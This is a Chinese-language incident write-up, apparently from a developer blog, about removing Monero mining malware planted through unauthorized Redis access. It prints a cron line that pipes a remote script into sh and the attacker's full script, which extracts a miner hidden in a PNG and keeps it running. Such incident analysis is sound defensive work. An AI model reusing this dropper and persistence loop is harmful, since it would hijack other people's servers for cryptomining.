linux挖矿病毒工具,Linux服务器挖矿病毒

linux挖矿病毒工具,Linux服务器挖矿病毒攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。排查过程检查进程发现SSH后门[root@testservertmp]#psaux|grep2345|grep-vgreproot135870.00.0666241144?SsMar220:00/tmp/su-oPort=2345[root@testservertmp]#lsof-p135…

大家好,又见面了,我是你们的朋友全栈君。

攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程

检查进程发现SSH后门

[root@testserver tmp]# ps aux | grep 2345 | grep -v grep

root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345

[root@testserver tmp]# lsof -p 13587

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

su 13587 root cwd DIR 202,2 4096 2 /

su 13587 root rtd DIR 202,2 4096 2 /

su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd

发现异常进程

root 1800 57064 0 00:46 ? 00:00:00 CROND

root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh

root 1803 1801 0 00:46 ? 00:00:03 sh

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。

2712f039057ccb97c114e5670e73ab21.png

发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh

脚本内容如下:

#!/bin/sh

ps -fe|grep conns |grep -v grep

if [ $? -ne 0 ]

then

echo “start process…..”

wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn

dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns

chmod +x /tmp/conns

nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &

else

echo “runing…..”

fi

sleepTime=20

while [ 0 -lt 1 ]

do

ps -fe| grep conns | grep -v grep

if [ $? -ne 0 ]

then

echo “process not exists ,restart process now… “

wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn

dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns

chmod +x /tmp/conns

nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &

echo “restart done ….. “

else

echo “process exists , sleep $sleepTime seconds “

fi

sleep $sleepTime

done

[root@server120 tmp]# file /tmp/conn

/tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

首先下载了一个图片,然后通过dd提取出来挖矿程序。

[root@server120 tmp]# file /tmp/conns

/tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后每20S检查一下进程是否存活。

这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程

1)redis增加认证,清空/var/spool/cron/root和authorized_keys。

2)删除后门

3)Kill异常进程

4)重启

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/131889.html原文链接:https://javaforall.net

(0)
上一篇 2022年6月11日 下午6:00
下一篇 2022年6月11日 下午6:00


相关推荐

  • Java程序员的推荐阅读书籍

    Java程序员的推荐阅读书籍

    2021年5月8日
    210
  • Postman报错:Error: getaddrinfo ENOTFOUND

    Postman报错:Error: getaddrinfo ENOTFOUND一 可能是 host 文件 localhost 没有绑定 127 0 0 1 解决方法 在 Windows 下 通过 C Windows System32 drivers etc 目录可以看到 host 文件 将它拷贝到桌面 用记事本进行编辑 写上 127 0 0 1localhost 然后覆盖之前的 host 文件 二 路径没写对

    2026年3月18日
    2
  • 显卡挖矿怎么安装_显卡挖矿教程

    显卡挖矿怎么安装_显卡挖矿教程一、制作操作系统镜像文件前准备1.下载win10操作系统镜像。下载地址:http://miner.tools/software/142.下载并安装软碟通。3.准备一个U盘。二、制作U盘操作系统镜像文件1.右键单击软碟通,以管理员身份运行:2.在软碟通中打开下载的操作系统镜像:3.插入U盘,点击“启动”下的“写入硬盘映像…”:4.硬盘驱动器选择刚插入的U盘,点格式化:5.在格式化窗口,文件系统选NT…

    2026年4月19日
    8
  • 超强物联网架构解读图_物联网的体系架构是什么

    超强物联网架构解读图_物联网的体系架构是什么oT科技物语的小伙伴们,我是ICE青,特别喜欢金庸大师作品的ICE青。因此,本期开始我将为大家介绍《物联网平台之独孤九剑》,看万物互联的世界何以笑傲江湖——「总决式」:物联网概述和架构「破剑式」:OceanConnect物联网平台概述「破刀式」:OceanConnect物联网特性概述「破枪式」:业务流程「破鞭式」:北向API「破索式」:南向Profile「破掌式」:…

    2026年1月14日
    8
  • smtp邮件服务器的作用,smtp服务器是什么意思(smtp服务器作用及使用指南)[通俗易懂]

    smtp邮件服务器的作用,smtp服务器是什么意思(smtp服务器作用及使用指南)[通俗易懂]smtp服务器是什么意思SMTP的全称是“SimpleMailTransferProtocol”,即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范,通过它来控制邮件的中转方式。SMTP协议属于TCP/IP协议簇,它帮助每台计算机在发送或中转信件时找到下一个目的地,SMTP服务器就是遵循SMTP协议的发送邮件服务器,不同邮件服务商均有对应的smtp服务器地址,并且这个地址会提供给大家…

    2026年4月17日
    5
  • 升降压电路的工作原理

    升降压电路的工作原理1.升压电路也叫自举电路,是利用自举升压二极管,自举升压电容等电子元件,使电容放电电压和电源电压叠加,从而使电压升高,有的电路升高的电压能达到数倍电源电压。开关直流升压电路(即所谓的boost或者step-up电路)原理,theboostconverter,或者叫step-upconverter,是一种开关直流升压电路,它可以是输出电压比输入电压高。基本电路图如图所示假定那个开关(三极管或者mos管)已经断开了很长时间,所有的元件都处于理想状态,电容电压等于输入电压。下面要分充电和放电两个部分来

    2022年6月20日
    66

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号